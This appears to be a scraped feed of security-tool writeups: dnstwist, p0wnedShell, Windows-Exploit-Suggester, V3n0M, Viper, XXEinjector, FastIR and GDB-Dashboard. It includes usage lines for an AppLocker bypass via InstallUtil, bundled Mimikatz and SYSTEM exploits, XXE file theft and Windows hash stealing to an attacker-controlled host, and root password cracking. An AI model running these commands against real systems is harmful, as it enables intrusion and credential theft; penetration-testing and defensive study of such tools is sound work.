Manually checking each domain name in terms of serving a phishing site might be time consuming. To address this, dnstwist makes use of so called fuzzy hashes (context triggered piecewise hashes). Fuzzy hashing is a concept which involves the ability to compare two inputs (in this case HTML code) and determine a fundamental level of similarity. This unique feature of dnstwist can be enabled with --ssdeep argument. For each generated domain, dnstwist will fetch content from responding HTTP server (following possible redirects) and compare its fuzzy hash with the one for the original (initial) domain. The level of similarity will be expressed as a percentage. Please keep in mind it's rather unlikely to get 100% match for a dynamically generated web page, but each notification should be inspected carefully regardless of the percentage level.
$ dnstwist.py --ssdeep example.com  
In some cases phishing sites are served from a specific URL. If you provide a full or partial URL address as an argument, dnstwist will parse it and apply for each generated domain name variant. This ability is obviously useful only in conjunction with fuzzy hashing feature.
$ dnstwist.py --ssdeep https://example.com/owa/  $ dnstwist.py --ssdeep example.com/crm/login  
Very often attackers set up e-mail honey pots on phishing domains and wait for mistyped e-mails to arrive. In this scenario, attackers would configure their server to vacuum up all e-mail addressed to that domain, regardless of the user it was sent towards. Another dnstwist feature allows to perform a simple test on each mail server (advertised through DNS MX record) in order to check which one can be used for such hostile intent. Suspicious servers will be marked with SPYING-MX string.
Please be aware of possible false positives. Some mail servers only pretend to accept incorrectly addressed e-mails but then discard those messages. This technique is used to prevent a directory harvest attack.
$ dnstwist.py --mxcheck example.com  
Not always domain names generated by the fuzzing algorithms are sufficient. To generate even more domain name variants please feed dnstwist with a dictionary file. Some dictionary samples with a list of the most common words used in targeted phishing campaigns are included. Feel free to adapt it to your needs.
$ dnstwist.py --dictionary dictionaries/english.dict example.com  
Apart from the default nice and colorful text terminal output, the tool provides two well known and easy to parse output formats: CSV and JSON. Use it for data interchange.
$ dnstwist.py --csv example.com > out.csv  $ dnstwist.py --json example.com > out.json  
Usually generated list of domains has more than a hundred of rows - especially for longer domain names. In such cases, it may be practical to display only registered (resolvable) ones using --registered argument.
$ dnstwist.py --registered example.com  
The tool is shipped with built-in GeoIP database. Use --geoip argument to display geographical location (country name) for each IPv4 address.
$ dnstwist.py --geoip example.com  
Of course all of the features offered by dnstwist together with brief descriptions are always available at your fingertips:
$ dnstwist.py --help  
Good luck!


p0wnedShell - PowerShell Runspace Post Exploitation Toolkit

$
0
0

p0wnedShell is an offensive PowerShell host application written in C# that does not rely on powershell.exe but runs powershell commands and functions within a powershell runspace environment (.NET). It has a lot of offensive PowerShell modules and binaries included to make the process of Post Exploitation easier. What we tried was to build an “all in one” Post Exploitation tool which we could use to bypass all mitigations solutions (or at least some off), and that has all relevant tooling included. You can use it to perform modern attacks within Active Directory environments and create awareness within your Blue team so they can build the right defense strategies.

How to Compile it:
To compile p0wnedShell you need to import this project within Microsoft Visual Studio or if you don't have access to a Visual Studio installation, you can compile it as follows:
To Compile as x86 binary:
cd \Windows\Microsoft.NET\Framework\v4.0.30319

csc.exe /unsafe /reference:"C:\p0wnedShell\System.Management.Automation.dll" /reference:System.IO.Compression.dll /win32icon:C:\p0wnedShell\p0wnedShell.ico /out:C:\p0wnedShell\p0wnedShellx86.exe /platform:x86 "C:\p0wnedShell\*.cs"
To Compile as x64 binary:

cd \Windows\Microsoft.NET\Framework64\v4.0.30319

csc.exe /unsafe /reference:"C:\p0wnedShell\System.Management.Automation.dll" /reference:System.IO.Compression.dll /win32icon:C:\p0wnedShell\p0wnedShell.ico /out:C:\p0wnedShell\p0wnedShellx64.exe /platform:x64 "C:\p0wnedShell\*.cs"
p0wnedShell uses the System.Management.Automation namespace, so make sure you have the System.Management.Automation.dll within your source path when compiling outside of Visual Studio.

How to use it:
Just run the executables or...
To run as x86 binary and bypass Applocker (Credits for this great bypass go to Casey Smith aka subTee):
cd \Windows\Microsoft.NET\Framework\v4.0.30319 (Or newer .NET version folder)

InstallUtil.exe /logfile= /LogToConsole=false /U C:\p0wnedShell\p0wnedShellx86.exe
To run as x64 binary and bypass Applocker:

cd \Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)

InstallUtil.exe /logfile= /LogToConsole=false /U C:\p0wnedShell\p0wnedShellx64.exe

What's inside the runspace:

The following PowerShell tools/functions are included:
  • PowerSploit Invoke-Shellcode
  • PowerSploit Invoke-ReflectivePEInjection
  • PowerSploit Invoke-Mimikatz
  • PowerSploit Invoke-TokenManipulation
  • Veil's PowerTools PowerUp
  • Veil's PowerTools PowerView
  • HarmJ0y's Invoke-Psexec
  • Besimorhino's PowerCat
  • Nishang Invoke-PsUACme
  • Nishang Invoke-Encode
  • Nishang Get-PassHashes
  • Nishang Invoke-CredentialsPhish
  • Nishang Port-Scan
  • Nishang Copy-VSS
Powershell functions within the Runspace are loaded in memory from Base64 encode strings .

The following Binaries/tools are included:
  • Benjamin DELPY's Mimikatz
  • Benjamin DELPY's MS14-068 kekeo Exploit
  • Didier Stevens modification of ReactOS Command Prompt
  • hfiref0x MS15-051 Local SYSTEM Exploit
Binaries are loaded in memory using ReflectivePEInjection (Byte arrays are compressed using Gzip and saved within p0wnedShell as Base64 encoded strings ).

Shout-outs:
p0wnedshell is heavily based on tools and knowledge from people like harmj0y, the guys from Powersploit, Sean Metcalf, SubTee, Nikhil Mittal, Besimorhino, Benjamin Delpy e.g. So shout-outs go to them and of course to our friends in Redmond for giving us access to a very powerfull hacking language.


Windows-Exploit-Suggester - Tool To Compares A Targets Patch Levels Against The Microsoft Vulnerability Database

$
0
0

This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.

It requires the 'systeminfo' command output from a Windows host in order to compare that the Microsoft security bulletin database and determine the patch level of the host.

It has the ability to automatically download the security bulletin database from Microsoft with the --update flag, and saves it as an Excel spreadsheet.

When looking at the command output, it is important to note that it assumes all vulnerabilities and then selectively removes them based upon the hotfix data. This can result in many false-positives, and it is key to know what software is actually running on the target host. For example, if there are known IIS exploits it will flag them even if IIS is not running on the target host.

The output shows either public exploits (E), or Metasploit modules (M) as indicated by the character value.

It was heavily inspired by Linux_Exploit_Suggester by Pentura.



USAGE

update the database
$ ./windows-exploit-suggester.py --update
[*] initiating...
[*] successfully requested base url
[*] scraped ms download url
[+] writing to file 2014-06-06-mssb.xlsx
[*] done
install dependencies
(install python-xlrd, $ pip install xlrd --upgrade)
feed it "systeminfo" input, and point it to the microsoft database
$ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt 
[*] initiating...
[*] database file detected as xls or xlsx based on extension
[*] reading from the systeminfo input file
[*] querying database file for potential vulnerabilities
[*] comparing the 15 hotfix(es) against the 173 potential bulletins(s)
[*] there are now 168 remaining vulns
[+] windows version identified as 'Windows 7 SP1 32-bit'
[*]
[M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical
[M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical
[M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical
[M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical
[M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[*] done
possible exploits for an operating system can be used without hotfix data

$ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --ostext 'windows server 2008 r2' 
[*] initiating...
[*] database file detected as xls or xlsx based on extension
[*] getting OS information from command line text
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 196 potential bulletins(s)
[*] there are now 196 remaining vulns
[+] windows version identified as 'Windows 2008 R2 64-bit'
[*]
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical

LIMITATIONS

Currently, if the 'systeminfo' command reveals 'File 1' as the output for the hotfixes, it will not be able to determine which are installed on the target. If this occurs, the list of hotfixes will need to be retrieved from the target host and passed in using the --hotfixes flag

It currently does not seperate 'editions' of the Windows OS such as 'Tablet' or 'Media Center' for example, or different architectures, such as Itanium-based only

False positives also occur where it assumes EVERYTHING is installed on the target Windows operating system. If you receive the 'File 1' output, try executing 'wmic qfe list full' and feed that as input with the --hotfixes flag, along with the 'systeminfo'


V3n0M-Scanner - Popular SQLi and Pentesting Scanner

$
0
0

V3n0M runs on Python3 [Live Project - Readding old features back in and improved for Python3]

v3n0m is a free and open source scanner. Evolved from baltazar's scanner, it has adapted several new features that improve fuctionality and usability. It is mostly experimental software.

This program is for finding and executing various vulnerabilities. It scavenges the web using dorks and organizes the URLs it finds.

PyPi:
You can now install the software via pip install V3n0m
Always verify the PGP signature of the package:

gpg: Signature made Fri 18 Jul 2014 02:59:48 AM UTC
gpg: using RSA key 0x8F2B5CBD711F1326
gpg: Good signature from "Grand Architect <unload@cryptolab.net>"
Use at your own risk.

Very useful for executing:
  • Metasploit Modules Scans
  • SQL Injection Vuln Scanner[SQLi]
  • Extremely Large D0rk Target Lists
  • FTP Crawler
  • DNS BruteForcer

What You Hold:
A modified smartd0rk3r
  • Brand new, just outta the box!
  • Largest and most powerful d0rker online, 18k+d0rks searched over ~ Engines at once.
  • Free and Open /src/
  • CrossPlatform Python based toolkit
  • Version 4.0.1 Released on 7th Jan 2016
  • Licensed under GPLv2
  • Tested on: Linux 4.3.1 Ubuntu/Debian, CentOS 6 (with some errors), Win7 (with some errors)

Usage:
root@bt:~# python3 v3n0m.py

Now you may follow the simple prompts.

[0x100] Choose your target (domain) :
Example : .com
AND
it is necessary to add you can also use a specific website (www.example.com)

[0x200] Choose the number of random dorks (0 for all.. may take awhile!) :
Example : 0 = This will choose all of the XSS, File Inclusion, RCE and SQLi dorks

[0x300] Choose the number of threads :
Example : 50

[0x400] Enter the number of pages to search through :
Example : 50

The program will print out your desired settings and start searching.
It then creates files for the collected and valid URLs for later.
It takes a while to scan because it utilizes either TOR, which you can specify
if you wish to do so, or regular HTTP requests over a long period of time.

After a while, it will feed you the percentage of the scan until completion.
At this point, it will have saved the valid URLs in the files it created earlier.
The program utilizes over 10k dorks now, be careful how you use them!
Enjoy. :]
~/ Dev Team

Contact Information:
[ NovaCygni ] - 
[ Architect ] -

Original Header:
- This was written for educational purpose and pentest only. Use it at your own risk.
- Author will be not responsible for any damage!
- !!! Special greetz for my friend sinner_01 !!!
- Toolname : darkd0rk3r.py
- Coder : baltazar a.k.a b4ltazar <b4ltazar@gmail.com>
- Version : 1.0
- greetz for all members of ex darkc0de.com, ljuska.org

New To This Addition:
---To be Done --Partially implemented -Done
- Upgrade to Python3 from Python2
--- Redo LFI/RFI attack method
--- Automate scanning sites with findable admin pages and add to seperate list
--- Redo Metasploit Scans
--- Add default attack option for DB types, automate injection and upload shell or enable RDP.
-- Perfect SQLi Vuln detection and add options for saving/searching specific DB types
-- Starting upgrade for Search engines
--- Implement SQLi D0rk Seed Generation option
--- Implement Metasploit Exploits scan / Nmap style option + Dork option



Metabrik - Perl Brik Platform

$
0
0

Smartphones have their apps, Web browsers have their apps, shells don’t. With Metabrik, we tried to merge the power of shells with the power of the Perl language by creating a platform allowing to quickly write reusable Briks.

Metabrik goals:
  • Glue the Perl language with a shell
  • Give a standardised API to write reusable Briks
  • Self-documented Briks to make them easy to use
  • Only 4 main shell commands to remember: use, set, get, run
Metabrik features:
  • Completion on Brik names, Commands and Attributes
  • Completion on file manipulation
  • Completion on Perl variable names
  • Command history and recalling
  • Customization support with a .rc file
  • Scripting support
  • Multiple Brik repositories support
Metabrik helps you to concentrate on scenarios instead of wasting your time searching how to use a program. You just have to reuse available Briks to perform your everyday job.
The two main ideas behind Metabrik are:

  • You have the brain, code has the details
  • Do it once

Viper - Cracking Unix Passwords Brute Force

$
0
0

Viper is a prute force UNIX-style password cracker for passwords encrypt with crypt. It has been developed from Hale's viper 1.4 Perl program. While there are other more powerful crack programs out, this one is about studying the safety of passwords while hardware speed is increasing drastically. If I remember right, I read that on a PDP-11 the password generation took 30 seconds. Now we can do more then 230.000 generations per second on a single CPU core of a single system, increasing speed by a factor of several million. Still, there is some time to go for a 8-character password on full keyspace, see keyspace.txt.

Originally, the ufc-crypt implementation seemed to be the fastest crypt function around, using it made porting the program to different platforms easy.

Viper runs under Linux, Solaris, HPUX and DOS/Windows.

Benchmarks
The original, Hale's viper.pl on Linux: 16329 CPS
Hale's viper.pl on Solaris: 659 CPS
System CPU OS Version Compiler CPS rate
Desktop PC Pentium III 650Mhz Linux 2.2.13 gcc 39062
Desktop PC Pentium III 650Mhz Windows Win98 gcc 51282
Desktop PC Pentium III 650Mhz DOS 7.0 djgpp 51282
SparcStation SUN U-Sparc 400Mhz Solaris 2.6 gcc 24691
HP 9000-B180L PA-7300LC 180Mhz HPUX 10.20 gcc 6993
HP Laptop 1x 1.7 GHz AMD64 Windows WinXP gcc 121,212
Cloud Server 1x CPU shared Linux 2.6.31 gcc 150,000

Usage
Viper v1.6 (Hale 05/12/2000) - C version by Frank4DD (05/05/2014)
Wiltered Fire - www.wilter.com/wf, incl. bugfixes by David C. Rankin

-f File to load password from (required unless using lsf)
-u Username to load from file (required unless using lsf)
-lsf Load saved file from previous session
-pf Save progress to file at update interval
-rf # Amount of time in hours to run for (default infinite)
-c # Character set from charset.ini to use (default 1)
-pws # Minimum password length (starting value, default 1)
-pwl # Maximum password length (default 8 - maximum 16)
-ui # Console update interval (in minutes - default 10)
-v Verbose output

Usage Example
susie112:/home/me/viper-1.6/src # ./viper -f passwd -u root -ui 1 -v

Viper v1.6 (Hale 05/12/2000) - C version by Frank4DD (05/05/2014)
Wiltered Fire - www.wilter.com/wf, incl. bugfixes by David C. Rankin

Found: user root pw:reUJbHrFWYCQk
Found: Charset 0 in charset.ini
...command line parameters loaded.
Character set is 93 chars long
Starting crack on: Sun Oct 3 23:04:44 2009
Cracking for pass length 1 (93 possibilities)
Cracking for pass length 2 (8649 possibilities)
Cracking for pass length 3 (804357 possibilities)
Cracking for pass length 4 (7.48052e+07 possibilities)

[ Length: | Last: | CPS: | Time Spent: | Time Remaining: | Done: ]
-------------------------------------------------------------------------------
[ 4 | kq2r | 150000 | 000d:00h:01m:00s | 000d:00h:07m:18s | 12.03% ]

The password has been located.
Username : root
Password : test
Started : Sun Oct 3 23:04:44 2009
Finished : Sun Oct 3 23:06:30 2009
Duration : 000d:00h:01m:00s

Viper exiting...

Latest Updates
  • Viper Version 1.5 has been updated to use the OpenSSL DES routines for encrypting. The UFC library has been dropped as outdated and even generating segfaults on some systems. There is a performance gain of approx. 25% coming from the OpenSSL libraries. In addition to the libraries, the OpenSSL headers (dev package) need to be installed in order to be able to compile Viper.
  • Viper Version 1.6 received bugfixes thanks to David C. Rankin.
See also http://fm4dd.com/sw/viper/


XXEinjector - Tool For Automatic Exploitation Of XXE Vulnerability

$
0
0

XXEinjector automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. Bruteforcing method needs to be used for other applications.

Options
--host Mandatory - our IP address for reverse connections. (--host=192.168.0.2)
--file Mandatory - file containing valid HTTP request with xml. You can also mark with "XXEINJECT" a point where DTD should be injected. (--file=/tmp/req.txt)
--path Mandatory if enumerating directories - Path to enumerate. (--path=/etc)
--brute Mandatory if bruteforcing files - File with paths to bruteforce. (--brute=/tmp/brute.txt)
--logger Log results only. Do not send requests. HTTP logger looks for "p" parameter with results.

--rhost Remote host's IP address or domain name. Use this argument only for requests without Host header. (--rhost=192.168.0.3)
--rport Remote host's TCP port. Use this argument only for requests without Host header and for non-default values. (--rport=8080)

--oob Out of Band exploitation method. FTP is default. FTP can be used in any application. HTTP can be used for bruteforcing and enumeration through directory listing in Java < 1.7 applications. Gopher can only be used in Java < 1.7 applications. (--oob=http/ftp/gopher)
--direct Use direct exploitation instead of out of band. Unique mark should be specified as a value for this argument. This mark specifies where results of XXE start and end. Specify --xml to see how XML in request file should look like. (--direct=UNIQUEMARK)
--2ndfile File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)
--phpfilter Use PHP filter to base64 encode target file before sending.
--netdoc Use netdoc protocol instead of file (Java).
--enumports Enumerating unfiltered ports for reverse connection. Specify value "all" to enumerate all TCP ports. (--enumports=21,22,80,443,445)

--hashes Steals Windows hash of the user that runs an application.
--expect Uses PHP expect extension to execute arbitrary system command. Best works with HTTP and PHP filter. (--expect=ls)
--upload Uploads specified file using Java jar schema into temp file. (--upload=/tmp/upload.txt)
--xslt Tests for XSLT injection.

--ssl Use SSL.
--proxy Proxy to use. (--proxy=127.0.0.1:8080)
--httpport Set custom HTTP port. (--httpport=80)
--ftpport Set custom FTP port. (--ftpport=21)
--gopherport Set custom gopher port. (--gopherport=70)
--jarport Set custom port for uploading files using jar. (--jarport=1337)
--xsltport Set custom port for XSLT injection test. (--xsltport=1337)

--test This mode shows request with injected payload and quits. Used to verify correctness of request without sending it to a server.
--urlencode URL encode injected DTD. This is default for URI.
--nodtd If you want to put DTD in request by yourself. Specify "--dtd" to show how DTD should look like.
--output Output file for bruteforcing and logger mode. By default it logs to brute.log in current directory. (--output=/tmp/out.txt)
--timeout Timeout for receiving file/directory content. (--timeout=20)
--contimeout Timeout for closing connection with server. This is used to prevent DoS condition. (--contimeout=20)
--fast Skip asking what to enumerate. Prone to false-positives.
--verbose Show verbose messages.r closing connection with server. This is used to prevent DoS condition. (--contimeout=20)
--fast Skip asking what to enumerate. Prone to false-positives.
--verbose Show verbose messages.

Example usage

Enumerating /etc directory in HTTPS application:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl

Enumerating /etc directory using gopher for OOB method:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

Second order exploitation:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt 
Bruteforcing files using HTTP out of band method and netdoc protocol:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc

Enumerating using direct exploitation:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

Enumerating unfiltered ports:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

Stealing Windows hashes:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes

Uploading files using Java jar:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf

Executing system commands using PHP expect:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls

Testing for XSLT injection:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt

Log requests only:
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt 


FastIR Collector - Windows Incident Response Tool

$
0
0

This tool collects different artefacts on live Windows and records the results in csv files. With the analyses of this artefacts, an early compromission can be detected.

Requirements
  • pywin32
  • python WMI
  • python psutil
  • python yaml
  • construct
  • distorm3
  • hexdump
  • pytz

Execution
  • ./fastIR_x64.py -h for help
  • ./fastIR_x64.py --packages all extract all artefacts without dump package artefacts
  • ./fastIR_x64.py --packages dump --dump mft to extract MFT
  • ./fastIR_x64.py --packages all --ouput_dir your_ouput_dir to set the directory output (by default is the current directory)
  • ./fastIR_x64.py --profile you_file_profile to set your own profile extraction

Packages
Packages Lists and Artefact
  • fs
    • IE History
    • Named Pipes
    • Prefetch
    • Recycle-bin
    • health
    • ARP Table
    • Drives list
    • Network drives
    • Networks Cards
    • Processes
    • Routes Tables
    • Tasks
    • Scheluded jobs
    • Services
    • Sessions
    • Network Shares
    • Sockets
  • registry
    • Installer Folders
    • OpenSaveMRU
    • Recents Docs
    • Services
    • Shellbags
    • Autoruns
    • USB History
    • Userassists
  • memory
    • Clipboard
    • dlls loaded
    • Opened Files
  • dump
  • FileCatcher
    • based on mime type
    • possibility to filter your search
    • Yara Rules
The full documentation can be download here: https://github.com/SekoiaLab/Fastir_Collector/blob/master/documentation/FastIR_Documentation.pdf
A post about FastIR Collector and advanced Threats can be consulted here: http://www.sekoia.fr/blog/fastir-collector-on-advanced-threats
with the paper: http://www.sekoia.fr/blog/wp-content/uploads/2015/10/FastIR-Collector-on-advanced-threats_v1.4.pdf


GDB-Dashboard - Modular Visual Interface For Gdb In Python

$
0
0

Modular visual interface for GDB in Python.

This comes as a standalone single-file .gdbinit which, among the other things, enables a configurable dashboard showing the most relevant information during the program execution. Its main goal is to reduce the number of GDB commands issued to inspect the current program status allowing the programmer to focus on the control flow instead.

Installation
Just place .gdbinit in your home directory, for example:
wget -P ~ git.io/.gdbinit  

Features
  • Single GDB init file.
  • Write the dashboard to the main GDB console or to an external file/TTY.
  • Interaction with GDB using the native Python API .
  • Several default modules are included to address the most basic needs: source code, assembly, registers, etc.).
  • User-defined modules can be easily developed by extending a Python class .
  • Additional configuration files (both GDB and Python) are read from ~/.gdbinit.d/ .
  • Fully stylable user interface and dynamic command prompt.
  • No GDB command has been redefined, instead all the features are available as subcommands of the main dashboard command.

Minimal requirements
GDB dashboard requires at least GDB 7.7 compiled with Python 2.7 in order to work properly.
See #1 for more details/workarounds.

Additional GDB front ends
GDB dashboard is not meant to work seamlessly with additional front ends, e.g., TUI, Nemiver, etc. There are basically two options to work around this:
  • Prevent the front from loading the .gdbinit file. For example, start TUI with gdbtui --nx .
  • Load GDB dashboard manually (only recommended if the front end is the most used option). Install as usual, then:
    mv ~/.gdbinit ~/.gdb-dashboard  
    Finally from the GDB shell:
    source ~/.gdb-dashboard  

Default modules
Follows the list of bundled default modules. Refer to the GDB help system for the full syntax.
  • assembly shows the disassembled code surrounding the program counter. The instructions constituting the current statement are marked, if available.
  • history lists the last entries of the GDB value history.
  • memory allows to inspect memory regions.
  • registers shows the CPU registers and their values.
  • source shows the program source code, if available.
  • stack shows the current stack trace including the function name and the file location, if available. Optionally list the frame arguments and locals too.
  • threads lists the currently available threads.
  • expressions watches user expressions.

Commands
The GDB documentation is available at help dashboard . Just like any GDB command, abbreviations are possible. Moreover, the alias db resolves to dashboard .

dashboard
This is the root command and it is used to manually redisplay the dashboard.

dashboard -output [ <file> ]
By default the dashboard is written to the GDB console but it is possible to redirect its output to a file or even to another terminal. If the target is a valid terminal TTY then its width is used to format the dashboard, otherwise fall back to the width of the main GDB console.
Without argument reset this setting to the default.

Display the dashboard in another terminal

  1. start GDB in one terminal;
  2. open another terminal (e.g. tmux pane) and get its TTY with the tty command (e.g. /dev/ttys001 , the name may be different for a variety of reasons);
  3. issue the command dashboard -output /dev/ttys001 to redirect the dashboard output to the newly created terminal;
  4. debug as usual.

Display the dashboard in a web browser
Pushing this even further, one could use a web browser as an auxiliary terminal using gotty .

  1. start GDB in one terminal;
  2. open another terminal and execute gotty sh -c 'tty; cat' ;
  3. open a web browser, navigate to http://localhost:8080 and note the TTY;
  4. issue the command dashboard -output /dev/ttys001 to redirect the dashboard output to the web browser;
  5. debug as usual.

dashboard -enabled [on|off]
Enable or disable the automatic display of the dashboard whenever the target program stops. The dashboard is enabled by default and even when it is disabled, it can be manually displayed with dashboard .
Sometimes it may be convenient to redraw the dashboard even if the target program has not changed its execution status, for example when the programmer switches the currently selected frame with the up or down commands. It is possible to do so by setting up some GDB hooks in the user-defined init file , for example:
define hookpost-up
dashboard
end

define hookpost-down
dashboard
end

dashboard -layout [ <directive> ...]
By default, all the modules are enabled and placed within the dashboard in alphabetical order. As the number of modules grows, it is important to decide which modules will be part of the dashboard, and where.
Each directive is in the form [!]<module> , when the ! is present then the corresponding module is disabled by default. The order of directives denotes the display order within the dashboard. For example:
dashboard -layout source !assembly stack  
Modules which do not appear in the list are disabled and placed after the last element in alphabetical order.
When executed without arguments, this command lists all the available modules.

dashboard -style [ <name> [ <value> ]]
Access to the stylable attributes of the dashboard, see Stylable attributes . For example, to change the prompt to something more familiar:
dashboard -style prompt '(gdb)'  
The argument is parsed as a Python literal and converted to the proper type.
When only the name is specified this command shows the current value, whereas without arguments prints all the attributes.

Modules subcommands
Every module adds its own subcommand dashboard <module> which is used to toggle the enable flag and to redisplay the dashboard.
Modules may also declare additional subcommands, see help dashboard <module> from GDB.
Moreover, if a module declare some stylable attributes then the command dashboard <module> -style will be available. Its functioning is equivalent to the dashboard -style command but it does apply to a module.

Configuration
Files in ~/.gdbinit.d/ are executed in alphabetical order, but the preference is given to Python files. If there are subdirectories, they are walked recursively. The idea is to keep separated the custom modules definition from the configuration itself.
The main configuration file can be placed in ~/.gdbinit.d/ (say ~/.gdbinit.d/init ) and should be used to tune the dashboard styles and modules configuration but also the usual GDB parameters.
The alternative is to hard code changes in the provided .gdbinit , to do so just add new modules and GDB settings under # Default modules and # Better GDB defaults respectively.

Stylable attributes
There is number of attributes that can be used to customize the aspect of the dashboard and of its modules. They are documented within the GDB help system. For what concerns the dashboard itself it can be reached with:
help dashboard -style  
Whereas for modules:
help dashboard <module> -style  

ANSI escape codes
Colors and text styles are specified using ANSI escape codes. For example setting a style to 1;31 will produce ^[[1;31m , which will result in displaying the text red ( 31 ) and bright ( 1 ). The ANSI output can be disabled by setting the ansi attribute (note that this will not affect the command prompt).

Dividers
A divider is basically a terminal-wide horizontal line with an optional label. Primary dividers are those used to separate the modules, whereas secondary dividers may be used inside modules to logically separate different sections. When a section or module is empty then the styles used for the divider are those with the off qualifier.

Common styles
These are general purpose ANSI styles defined for convenience and used within the default modules.
  • style_selected_1
  • style_selected_2
  • style_low
  • style_high
  • style_error

Custom modules
The idea of custom modules is that they provide ways to access readonly information from the target program status; it is safe to assume that they will be queried during the program execution only.
Custom modules must inherit the Dashboard.Module class and define some methods:
  • label returns the module label which will appear in the divider.
  • lines return a list of strings which will form the module content. When a module is temporarily unable to produce its content, it should return an empty list; its divider will then use the styles with the off qualifier.
The name of a module is automatically obtained by the class name.
Modules are instantiated once at initialization time and kept during the whole the GDB session.
Optionally, a module may include a description which will appear in the GDB help system by specifying a Python docstring for the class.
Optionally, a module may define stylable attributes by defining the attributes method returning a dictionary in which the key is the attribute name and the value is another dictionary:
  1. default is the initial value for this attribute.
  2. doc is the documentation of this attribute which will appear in the GDB help system. This key can be omitted.
  3. name is the name of the attribute of the Python object, defaults to the key value.
  4. type is the type of this attribute, it is used to coerce the value passed as an argument to the proper type, or raise an exception. This key defaults to the str type.
  5. check is a control callback which accept the coerced value and returns True if the value satisfies the constraint and False otherwise. This key is optional, when omitted no check is performed.
Optionally, a module may declare subcommands by defining the commands method returning a dictionary in which the key is the command name and the value is another dictionary:
  1. action is the callback to be executed which accepts the raw input string from the GDB prompt. Callbacks may raise exceptions to notify erroneous situations which message will be shown automatically to the user.
  2. doc is the command documentation.
  3. completion is the completion policy, one of the gdb.COMPLETE_* constants defined in the reference manual . This key is optional and defaults to None which is equivalent to gdb.COMPLETE_NONE .

Common functions
A number of auxiliary common functions are defined in the global scope, they can be found in the provided .gdbinit and concern topics like ANSI output, divider formatting, conversion callbacks, etc. They should be more or less self-documented, some usage examples can be found within the bundled default modules.

Example
Default modules already provide a good example, but here is a simple module which may be used as a template for new custom modules, it allows the programmer to note down some snippets of text during the debugging session.
class Notes(Dashboard.Module):
"""Simple user-defined notes."""

def __init__(self):
self.notes = []

def label(self):
return 'Notes'

def lines(self):
out = []
for note in self.notes:
out.append(note)
if self.divider:
out.append(divider())
return out[:-1] if self.divider else out

def add(self, arg):
if arg:
self.notes.append(arg)
else:
raise Exception('Cannot add an empty note')

def clear(self, arg):
self.notes = []

def commands(self):
return {
'add': {
'action': self.add,
'doc': 'Add a note.'
},
'clear': {
'action': self.clear,
'doc': 'Remove all the notes.'
}
}

def attributes(self):
return {
'divider': {
'doc': 'Divider visibility flag.',
'default': True,
'type': bool
}
}
To use the above just save it in a Python file, say notes.py , inside ~/.gdbinit.d/ , the following commands (together with the help) will be available:
dashboard notes
dashboard notes add
dashboard notes clear
dashboard notes -style

Resources


Viewing all 5816 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>